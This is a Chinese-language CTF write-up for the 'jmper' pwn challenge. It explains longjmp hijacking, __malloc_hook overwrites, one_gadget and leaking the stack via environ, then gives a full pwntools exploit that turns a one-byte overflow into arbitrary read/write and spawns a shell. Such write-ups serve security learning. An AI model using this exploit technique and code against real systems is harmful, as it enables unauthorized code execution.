一道有意思的题,复习一下几种小技巧:longjmp,hookfunc,one_gadget,environ…..
longjmp
1 | int setjmp(jmp_buf env) |
其中jmp_buf就是一个int型数组,存储寄存器的值,setjmp最初返回值为0,long_jmp第二个值算是返回值,所以可以通过修改这个结构的值来劫持程序流。
hookfunc
libc里面有便于调试的malloc-hook
,当知道libc地址且程序中有用到malloc
,free
,relloc
等就可以使用hook,它只需要修改__malloc_hook
等,将其改为任意可执行地址,再调用对应函数时就会跳转到改地址。
泄露栈地址
- 栈上会有一些残渣,上面可能有ebp值等栈地址相关数据
- libc里面的environ指向了栈上envp
one_gadget
libc里面有一些直接调用execve("/bin/sh", 0, environ)
的代码,只要满足约束,直接跳转到这个位置就能getshell了,使用one_gadget即可找到他们在libc里面的偏移与需要满足的约束条件,下载:
1 | #git clone https://github.com/david942j/one_gadget.git |
使用:
找到后就一个一个试,要是运气好就能直接拿来用,当然,要使用这种技术是已知libc的版本为地址。
jmper
分析
本体给了libc,直接运行程序一脸懵逼,那就先检查一下保护:
然后就是ida分析了:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
在f函数里面:
1 | void __noreturn f() |
其中student结构体是从上面代码分析出来的,结构如下:
利用
现在已经发现了漏洞位置,就来分析利用方法,观察student结构可以看到,溢出覆盖到的是name域低位,name域存放的是一个指向char数组的pointer,于是通过修改那一位,可以控制一个指针低8位,但是这似乎用处不太大,需要更进一步,当新建两个学生时,观察内存:
因为它们是连续分配且此时内存比较整齐,它们位置是比较靠近的,第一个学生的name域与第二个学生的name域指针都只有最后一字节不同,且与自身位置同样只有最后一字节不同,于是当修改第一个学生的name低位,可以使其指向第二个学生的name域,而此时写入的数据将会覆盖name这个指针,这样就能控制一个完整的指针了,而showName可以读取指针指向的内容,writeName可以修改指针指向的内容,于是造成任意内存读写,参照上面的保护,不能劫持GOT了,也不能直接在数据区写shellcode,但是可以利用上面介绍的方法:
- 通过读取jmpbuf获取关键寄存器,同时得知stack等位置,jmpbuf在bss上,位置固定
- 通过读取got得libcbase,再获取environ得栈地址
- 得libc地址后使用one_gadget覆盖__malloc_hook,再次添加学生
- long_jmp返回地址改为one_gadget地址
- main返回地址改为one_gadget地址
………….
这里就使用read->got->libc->one_gadget->hookmalloc->addStudent->getshell
#!/usr/bin/env python
# coding=utf-8
from pwn import *
binary,ip,port = 'jmper','127.0.0.1',1234
libc = 'libc-2.19.so'
one_gadget = 0x46428
def Add():
p.sendlineafter('6. Bye :)\n','1')
def reName(stuNum,data):
p.sendlineafter('6. Bye :)\n','2')
p.sendlineafter('ID:',str(stuNum))
p.sendlineafter('Input name:',data)
def reMemo(stuNum,data):
p.sendlineafter('6. Bye :)\n','3')
p.sendlineafter('ID:',str(stuNum))
p.sendafter('Input memo:',data)
def showName(stuNum):
p.sendlineafter('6. Bye :)\n','4')
p.sendlineafter('ID:',str(stuNum))
return p.recvuntil('1. Add student.')[:-15]
def showMemo(stuNum):
p.sendlineafter('6. Bye :)\n','5')
p.sendlineafter('ID:',str(stuNum))
return p.recvuntil('1. Add student.')[:-15]
def init():
global p
if args.REMOTE:
p = remote(ip,port)
else:
p = process(binary)
p.recvuntil('people :)')
Add() #新建两个学生
Add()
reMemo(0,'A'*32+'\x78') #讲学生1指向学生2的name
def myRead(Addr):
reName(0,Addr)
return showName(1)
def myWrite(Addr,data):
# if '\n' in data:
# log.failure("bad char!"+data)
reName(0,Addr)
reName(1,data)
if '__main__' == __name__:
init()
elf = ELF(binary)
lib = ELF(libc)
#libcbase
putsGot=elf.got['puts']
tmp = myRead(p64(putsGot))
putsAddr = u64(tmp+(8-len(tmp))*'\x00')
print 'putsAddr:',hex(putsAddr)
libcbase = putsAddr - lib.symbols['puts']
hook = libcbase + lib.symbols['__malloc_hook']
print '__malloc_hook:',hex(hook)
one_gadget += libcbase
print 'one_gadget:',hex(one_gadget)
#gdb.attach(p)
myWrite(p64(hook),p64(one_gadget))
Add()
p.interactive()
# raw_input('#')
参考
bamboofox-12-02读书会Part